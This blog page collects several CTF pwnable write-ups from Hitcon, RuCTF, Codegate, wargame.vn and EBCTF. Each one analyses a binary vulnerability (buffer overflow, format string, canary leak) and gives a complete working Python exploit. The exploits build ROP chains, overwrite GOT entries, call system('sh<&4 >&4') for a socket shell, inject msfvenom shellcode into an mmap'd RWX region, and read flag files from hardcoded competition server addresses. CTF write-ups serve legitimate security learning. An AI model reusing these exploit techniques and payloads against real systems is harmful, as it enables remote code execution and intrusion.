Showing posts with label ROP. Show all posts
Showing posts with label ROP. Show all posts

Tuesday, August 19, 2014

Hitcon CTF 2014 - RSBO - Pwnable 150 - [Team SegFault]

Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
char buffer[0x80];  [EBP-0x60]
size = read_80_bytes(buffer); 
for ( i = 0; i < (signed int)size; ++i ) 
{
    rnd = rand();
    v4 = rnd % (i + 1);   
    v3 = buffer[i];    
    buffer[i] = buffer[v4];  
    buffer[v4] = v3;
}
Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.

Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python

import struct
from socket import *

ip = '127.0.0.1'
ip = '210.61.8.96'
port = 51342

soc = socket(AF_INET, SOCK_STREAM)
soc.connect((ip,port))

payload  = struct.pack("<I", 0x00) * 26
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804865a) # leave ; ret
payload += struct.pack("<I", 0x00)       # stdin
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 1024)       # size

# STAGE 2
payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction
payload += struct.pack("<I", 0x08048420) # open@plt
payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x080487d0) # Pointer to File
payload += struct.pack("<I", 0x00)       # READ mode

payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x3)        # Descriptor
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

payload += struct.pack("<I", 0x08048450) # write@plt
payload += struct.pack("<I", 0x42424242) # ret
payload += struct.pack("<I", 0x1)        # stdout
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

soc.send(payload + '\n')
print soc.recv(128)
Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}

Wednesday, March 12, 2014

RuCTF Quals 2014 - Aggregator - Vuln 200 - [Team SegFault]

Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
[ctf@renorobert ructf]$ nc 192.168.122.100 16711
> a
Available commands:
help -- show this message
quit -- quit
rating -- show player rating
summary <player_name> -- show the main stats of the player
stats <player_name> -- show all the stats of the player
The stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.

The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0                 mov     [esp+428h+nbytes], 3E8h ; nbytes
.text:0804A6D8                 lea     eax, [ebp+s]
.text:0804A6DE                 mov     [esp+428h+buf], eax ; buf
.text:0804A6E2                 mov     eax, [ebp+fd]
.text:0804A6E5                 mov     [esp+428h+descriptor], eax ; fd
.text:0804A6E8                 call    _read
.text:0804A6ED                 mov     [ebp+var_C], eax
.text:0804A6F0                 cmp     [ebp+var_C], 0
.text:0804A6F4                 jz      short loc_804A70D
.text:0804A6F6                 mov     eax, [ebp+arg_4]
.text:0804A6F9                 mov     [esp+428h+buf], eax ; s
.text:0804A6FD                 lea     eax, [ebp+s]
.text:0804A703                 mov     [esp+428h+user_input], eax 
.text:0804A706                 call    check_options

; check_options
.text:0804A592                 push    ebp
.text:0804A593                 mov     ebp, esp
.text:0804A595                 sub     esp, 28h
.text:0804A598                 mov     [esp+28h+n], 4  ; n
.text:0804A5A0                 mov     [esp+28h+c], offset aQuit ; "quit"
.text:0804A5A8                 mov     eax, [ebp+user_input]
.text:0804A5AB                 mov     [esp+28h+dest], eax
.text:0804A5AE                 call    _strncmp ; EAX holds the address of buffer used by read()
With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; ret
Using the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().

Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.

Then we decided to dump the directory list using the following payload:

[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711

plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)

con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/" 
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))

payload  = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)

payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64)         # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396)    # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400)    # move stack to write the return value of opendir()

#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()

payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)

payload += "B"*284

payload += file_to_read  
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8                         # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40)     # restore stack
con.write(payload + "\n")

print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Unreal.ngLog.2012.07.21.01.53.09.7777.log
Unreal.ngLog.2012.07.21.02.41.14.7777.log
Unreal.ngLog.2012.07.21.01.42.52.7777.log
Unreal.ngLog.2012.07.21.02.44.35.7777.log
Unreal.ngLog.2012.07.24.03.58.53.7777.log
Unreal.ngLog.2012.07.21.02.21.05.7777.log
Unreal.ngLog.2012.07.21.02.49.50.7777.log
Unreal.ngLog.2012.07.21.01.27.20.7777.log
*-xi8
Unreal.ngLog.2012.07.21.01.11.16.7777.log
Unreal.ngLog.2012.07.21.02.58.49.7777.log
Unreal.ngLog.2012.07.21.01.58.17.7777.log
XOw8
Unreal.ngLog.2012.07.21.03.02.54.7777.log
Unreal.ngLog.2012.07.21.02.09.24.7777.log

[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump 
Real.ngLog.2012.07.42.42.42.24.7777.log
The final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag

[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python

import struct
import telnetlib

ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload

con = telnetlib.Telnet(ip, port)
con.read_until('>')

#  overwrite strncmp using format string
payload  = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')

payload  = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4) 
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")

file_to_read  = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload  = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56)     # filename
payload += struct.pack("<I", 0x0804875d) # readmode

payload += struct.pack("<I", plt_read)   # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5)        # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)

payload += struct.pack("<I", plt_write)  # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read

con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py 
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D

Tuesday, February 25, 2014

Codegate CTF Quals 2014 - Angry Doraemon - Pwnable 250 - [Team SegFault]

We were given a 32 bit ELF running on Ubuntu 13.10 x86 system with NX, Stack Canary and ASLR enabled. The vulnerability is in the function that handles option 4.
buf             = dword ptr -16h
.text:0804902F                 mov     dword ptr [esp+8], 6Eh ; nbytes
.text:08049037                 lea     eax, [ebp+buf]
.text:0804903A                 mov     [esp+4], eax    ; buf
.text:0804903E                 mov     eax, [ebp+fd]
.text:08049041                 mov     [esp], eax      ; fd
.text:08049044                 call    _read           ; buffer overflow here 
.text:08049049                 movzx   eax, byte ptr [ebp+buf]
.text:0804904D                 cmp     al, 79h
.text:0804904F                 jnz     canary_check
0x6E bytes can overflow the stack but stack canary should be bypassed to overwrite saved EIP. We can take advantage of below piece of code to get information leak.
.text:08049055                 lea     eax, [ebp+buf]
.text:08049058                 mov     [esp+8], eax
.text:0804905C                 mov     dword ptr [esp+4], offset choice ; "You choose '%s'!\n"
.text:08049064                 mov     dword ptr [esp], offset s ; s
.text:0804906B                 call    _sprintf
.text:08049070                 mov     [ebp+n], eax
.text:08049073                 mov     eax, [ebp+n]
.text:08049076                 mov     [esp+8], eax    ; n
.text:0804907A                 mov     dword ptr [esp+4], offset s ; buf
.text:08049082                 mov     eax, [ebp+fd]
.text:08049085                 mov     [esp], eax      ; fd
.text:08049088                 call    _write
This is what the memory layout looks like
[10 bytes buffer | 4 bytes canary | 8 bytes buffer | 4 bytes EBP | 4 bytes EIP]
Writing 10 bytes to buffer will concatenate the buffer with canary, such that sprintf() will read all 14 bytes since there is no NUL byte to terminate the memory area. But remote server had a canary value with NUL byte, so overwrite with 11 bytes to leak information about the canary. This will give us the canary value along with saved EBP, thus leaking the random address of stack.

We have the address of stack and canary. Idea of the final payload is to call system("sh<&4 >&4"). For this, we leaked information of __libc_start_main's randomized address and computed offsets to the system() function. Now this is what the payload looks like
[nnnnnnnnnn(10 bytes) | leaked canary(4 bytes) | 12 bytes junk | system@libc | 0xdeadbeef | arg ]
Below is the final exploit:
#!/usr/bin/env python

import struct
import socket
import time

ip = '127.0.0.1'
ip = '58.229.183.18'
port = 8888

canary = 0x008bc384
ebp = 0xbfb0a7d8

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
time.sleep(3)

soc.recv(8192)
soc.send("4\n")
time.sleep(1)

soc.recv(512)
canary = struct.pack(">I", canary)

payload  = "n" * 10
payload += canary
payload += "A"*12      # padding
payload += struct.pack("<I", 0xb759f260) # overwrite EIP with system@libc
payload += struct.pack("<I", 0xdeadbeef)
payload += struct.pack("<I", ebp-16)
payload += "sh<&4 >&4\x00"

soc.send(payload + "\n")
soc.send('cat /home/angry_doraemon/key\n')
print soc.recv(1024)
Flag for the challenge is CMP67_eax_N1gHt_Jz_B3d_PND_SeelEEP

Monday, August 12, 2013

ctf.wargame.vn - Pwn 300

For pwn300 challenge we were given a 32-bit ELF executable with NX enabled. Analysing the binary we have the following information

First recv() call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v14, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Its possible to send 40 bytes in recv() call by using NUL byte after 24th byte, but memset() clears this memory

Second recv() call
[*] recv(fd, &buf, 4, 0) is called, this 4 bytes is assigned to another memory location

Third recv() call, which is similar to first call
[*] recv(fd, &s, 40, 0) is called, execution continues if strlen(&s) <= 24
[*] if strlen() succeeds, strcpy(&v13, &s) is called
[*] memset(&s, 0, 40) is called to clear the buffer

Fourth recv() call
[*] We can reach the fourth recv() call if strcmp(&v13, &v14) == 0
[*] After recv(), strcpy(&v14 + 32, &s) is called
[*] There is a function pointer v15 at [ebp-0x44], &v14 + 32 points to ebp-0x50. So strcpy() call overwrites function pointer, giving control of EIP
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
#ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send("C"*36)
This is how the memory looked like during crash.
gdb-peda$ info registers 
eax            0x43434343 0x43434343
ecx            0x0 0x0
edx            0x25 0x25
ebx            0xffffd10c 0xffffd10c
esp            0xffffd0cc 0xffffd0cc
ebp            0xffffd1a8 0xffffd1a8
esi            0x0 0x0
edi            0x0 0x0
eip            0x43434343 0x43434343
eflags         0x10246 [ PF ZF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63

gdb-peda$ x/50x $esp
0xffffd0cc: 0x08048bdc 0xffffd138 0xffffd168 0x00000028
0xffffd0dc: 0x00000000 0x42424242 0xffffd138 0x01ffd138
0xffffd0ec: 0xffffd144 0x41414141 0x41414141 0x41414141
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x43434343
0xffffd15c: 0x43434343 0x43434343 0x43434343 0x43434343
0xffffd16c: 0x43434343 0x08048864 0x43434343 0x43434343
0xffffd17c: 0x43434300 0x08048864 0x43434343 0x43434343
0xffffd18c: 0x00000000 0x6e6f4320
The user input is spread out in stack. We need to point ESP to user controlled memory, to perform ROP.
0x08048f59: add esp, 0x1C ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
I used the above gadget to point ESP to user controlled buffer by overwriting function pointer with 0x8048f59. This is how the memory looked like after shifting the stack
soc.send(struct.pack("<I", 0x08048f59)*9
gdb-peda$ info registers 
eax            0x8048f59 0x8048f59
ecx            0x0 0x0
edx            0x25 0x25
ebx            0x1ffd138 0x1ffd138
esp            0xffffd0fc 0xffffd0fc
ebp            0x41414141 0x41414141
esi            0xffffd144 0xffffd144
edi            0x41414141 0x41414141
eip            0x41414141 0x41414141
eflags         0x10296 [ PF AF SF IF RF ]
cs             0x23 0x23
ss             0x2b 0x2b
ds             0x2b 0x2b
es             0x2b 0x2b
fs             0x0 0x0
gs             0x63 0x63
gdb-peda$ x/50wx $esp
0xffffd0fc: 0x41414141 0x41414141 0x41414141 0x00000000
0xffffd10c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd11c: 0x41414141 0x41414141 0x03df6100 0x08048430
0xffffd12c: 0x00273dd0 0x0017bba4 0x08048864 0x42424242
0xffffd13c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd14c: 0x41414141 0x41414141 0x00000000 0x08048f59
0xffffd15c: 0x08048f59 0x08048f59 0x08048f59 0x08048f59
0xffffd16c: 0x08048f59 0x08048864 0x08048f59 0x08048f59
0xffffd17c: 0x08048f00 0x08048864 0x08048f59 0x08048f59
0xffffd18c: 0x00000000 0x6e6f4320 0x63696c66 0x000a2074
0xffffd19c: 0xbab92437 0x003f7ff4 0x003f7ff4 0xffffd318
0xffffd1ac: 0x08048d84 0x00000008 0xffffd2fc 0xffffd1d8
0xffffd1bc: 0x001c8594 0x00266c18
Information leak to get libc address:

strcpy() doesn't allow use of NUL bytes. To perform ret-2-libc, I need information leak. But chaining gadgets was difficult as I couldn't pass function parameters due to NUL byte restriction. handle() function had an intersting sequence of instruction to call send()
.text:08048A17                 mov     eax, [ebp+fd]
.text:08048A1A                 mov     [esp], eax      ; fd
.text:08048A1D                 call    _send
Now to take advantage of this, we need to setup a few things

[*] fd value needs to be 0x4
[*] [ebp+fd] should point to 0x4. We have a pop ebp in the gadget 0x8048f59
[*] pop a value into ebp such that ebp+0x8 points to 0x4
gdb-peda$ x/x 0x08048050
0x8048050: 0x00000004
We can pop address 0x08048048 into ebp, so that [ebp+8] points to 0x4, which is our socket descriptor. Entire exploitation thrives on information leak using the above described gadgets. Since fork() is called, the address layout doesnt change when new child is spawned
First idea was to leak the GOT entry of __libc_start_main to find the randomized address of libc. With information leak, I found that my local copy of libc matched with the remote libc version. So I can compute offsets with accuracy
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

got_libc_start_main = 0x0804b018
offset_libc_start_main = 0x193e0
offset_system = 0x3f430
offset_program_invocation_name = 0x1a58a0

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I", got_libc_start_main)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
addr = struct.unpack("<I",soc.recv(4))[0]
print "__libc_start_main: ", hex(addr)
base = addr - offset_libc_start_main

print "Base addr: ",hex(base)
print "System addr: ",hex(base + offset_system)
print "program_invocation_name: ",hex(base + offset_program_invocation_name)
[ctf@renorobert Mario CTF]$ python leak300.py 
__libc_start_main:  0xf74ba3e0
Base addr:  0xf74a1000
System addr:  0xf74e0430
program_invocation_name:  0xf76468a0
Leaking random address of stack:

With libc address found, my idea was to call system('/bin/sh'). But that wasn't enough, we need dup2(). I decided to pass "sh<&4 >&4" as parameter to system(). But first, we need to locate the address of string in stack. After analysing libc I found that program_invocation_name holds the random stack address. We already computed the address of program_invocation_name. Now lets leak the data in it.
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

soc.send("A"*24)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x8048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xf76468a0)*3)
time.sleep(0.5)

soc.send("A"*24)
time.sleep(0.5)

soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
soc.recv(1024)
time.sleep(0.5)
print "Stack addr: ", hex(struct.unpack("<I",(soc.recv(256)[:4]))[0])
[ctf@renorobert Mario CTF]$ python leak300_stack.py 
Stack addr:  0xff94f3dd
So now we have the random stack address. Next we have to find the exact address of user string in stack memory

Finding address of string in stack:

Well, information leak again. We are going to read stack using the same set of gadgets to find the string.
soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0x08048A17) + struct.pack("<I",0xff94f3dd)*3)
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'pwn2\x00SHELL=/home/pwn2/pwn2\x00TERM=screen\x00USER=pwn2\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:\x00SUDO_USER=vnsec\x00SUDO_UID=1000\x00TERMCAP=SC|screen|VT 100/ANSI X3.64 virtual terminal'
By changing address, I read the stack memory and finally found the location of string at 0xff94e0ac
[ctf@renorobert Mario CTF]$ python leak300_stack_memory.py 
'AAAAAAAAAAAAAAAAAAAAAAAA\x00/v\xf7\x189v\xf7\x01\x00\x00\x00\x00\x00\x00\x00d\x88\x04\x08BBBBAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08Y\x8f\x04\x08CCCCCCCCd\x88\x04\x08CCCCCCCCCCC\x00d\x88\x04\x08CCCCCCCCCCC\x00 Conflict \n\x00\x00UI\x9f\xf4_d\xf7\xf4_d\xf7'
Final exploit:

Now we have all the address needed to read flag. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = "127.0.0.1"
ip = "42.117.7.116"

port = 1337
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
comm = "               sh<&4 >&4"

soc.send(comm)
time.sleep(0.5)

soc.send("B"*4)
time.sleep(0.5)

soc.send(struct.pack("<I",0x08048048)*2 + struct.pack("<I",0xf74e0430) + struct.pack("<I",0xff94e0ac)*3)
time.sleep(0.5)

soc.send(comm)
time.sleep(0.5)

soc.recv(1024)
soc.send(struct.pack("<I", 0x08048f59)*4 + "C"*23)
time.sleep(1)

soc.send("cat /home/pwn2/flag\n")
print repr(soc.recv(2048))
The flag for the challenge is mario_is_the_best_hacker_in_the_world

There are few globals in libc, which holds random address of stack and heap. Some globals that hold stack address are program_invocation_name, program_invocation_short_name and environ. More information in man program_invocation_name. __curbrk keeps track of heap address. It holds the address passed to brk() system call as the heap grows. Reading its value will give the random address of heap

Sunday, August 4, 2013

EBCTF 2013 Finals - pwn 300 - [Team SegFault]

Myself and Xelenonz worked on this challenge. Xelenonz found critical details about the challenge. He managed to take control of saved EIP in read_from_client() function. Below is the details about it
ascii_to_bin("abcdef",&str) => str = 0xabcdef
ascii_to_bin("deadbeef",&str) => str = 0xdeadbeef

echo `perl -e 'print "A"x72,"41"x4,"42"x4,"a8c00408","\r\n"'` | nc 127.0.0.1 7070
ret => 0x41414141
str is 0x20 bytes away from EBP. In ascii_to_bin(), we can see
*(_BYTE *)(i + str) = v2 | n_to_i(buf[2 * i + 1]);
This eventually leads to the vulnerability, as i value increases in loop, *(_BYTE *)(i + str) goes past allocated buffer in read_from_client(). Once this was found, we started building our exploit on top of this. Below is the idea of exploit

[*] Leak address of __libc_start_main from GOT using send()
[*] Return into read() to copy stage 2 payload into .data section
[*] Shift stack into .data section using leave; ret gadget
[*] Shifted stack has gadgets to return into mmap(), allocate a new memory with RWX
[*] Return into read() to copy shellcode into mmap()'ed region
[*] Jump into the starting address of mmap()'ed region

Leaked address of __libc_start_main was found to be 0xf76303e0. The __libc_start_main offset in my ubuntu VM was 0x193e0. Now
>>> hex(0xf76303e0 - 0x193e0)
'0xf7617000'
This very much looked like base address of libc. So we used address offsets from this libc and it worked. Below is the full exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '127.0.0.1'
ip = '54.217.15.93'
port = 7070

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# msfvenom
shell = ( "\xbb\x3e\xa8\x55\xd1\xdb\xdb\xd9\x74\x24\xf4\x5a\x33\xc9" +
          "\xb1\x0f\x31\x5a\x12\x83\xc2\x04\x03\x64\xa6\xb7\x24\xf2" +
          "\xbd\x6f\x5e\x50\xa4\xe7\x4d\x37\xa1\x1f\xe5\x98\xc2\xb7" +
          "\xf6\x8e\x0b\x2a\x9e\x20\xdd\x49\x32\x54\xc8\x8d\xb3\xa4" +
          "\xdc\xef\xda\xca\x0d\x83\x74\x32\x7f\x00\xa5\x41\x17\xfa" +
          "\x83\x91\xc7\x3c\xea\xed\x07\x16\xa1\x84\xe9\x55\xc5" )


payload  = "A"*72
payload += "938d0408" # pop2ret
payload += "41414141" #
payload += "00a00408" # need to be valid address
payload += "208a0408" # send(4,__libc_start_main,0x4,0) @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "64c00408" # buf
payload += "04000000" # size
payload += "00000000" # flag
payload += "c0870408" # read @ PLT
payload += "dca70408" # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
payload += "04000000" # fd
payload += "c0c00408" # .data
payload += "00040000" # size
payload += "c0c00408" # .data
payload += "898a0408" # leave, ret; stack shifting 
payload += "\r\n"

soc.send(payload)
addr = struct.unpack("<I",(soc.recv(1024)))[0] # address leak
print hex(addr)

# stage 2

payload  = struct.pack("<I", 0x0804c0c0)     # .data
payload += struct.pack("<I", addr+(0xd1d00)) # mmap
payload += struct.pack("<I", 0x08048d90)     # add esp, 0x14 ; pop ebx ; pop ebp
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size
payload += struct.pack("<I", 7)              # permission
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x00)
payload += struct.pack("<I", 0x00)
payload += "MOVE"
payload += struct.pack("<I", 0x080487c0)     # read @ PLT
payload += struct.pack("<I", 0xbadc000)      # ret address
payload += struct.pack("<I", 0x4)            # fd
payload += struct.pack("<I", 0xbadc000)      # address
payload += struct.pack("<I", 1024)           # size

soc.send(payload + "\n")
time.sleep(1)

# stage 3
soc.send(shell+"\n")
soc.send("cat goproot/FLAG\n")
print soc.recv(1024)
Here is the flag for the challenge : ebCTF{35a6673b2243c925e02e85dfa916036f}

Monday, July 29, 2013

Some universal gadget sequence for Linux x86_64 ROP payload

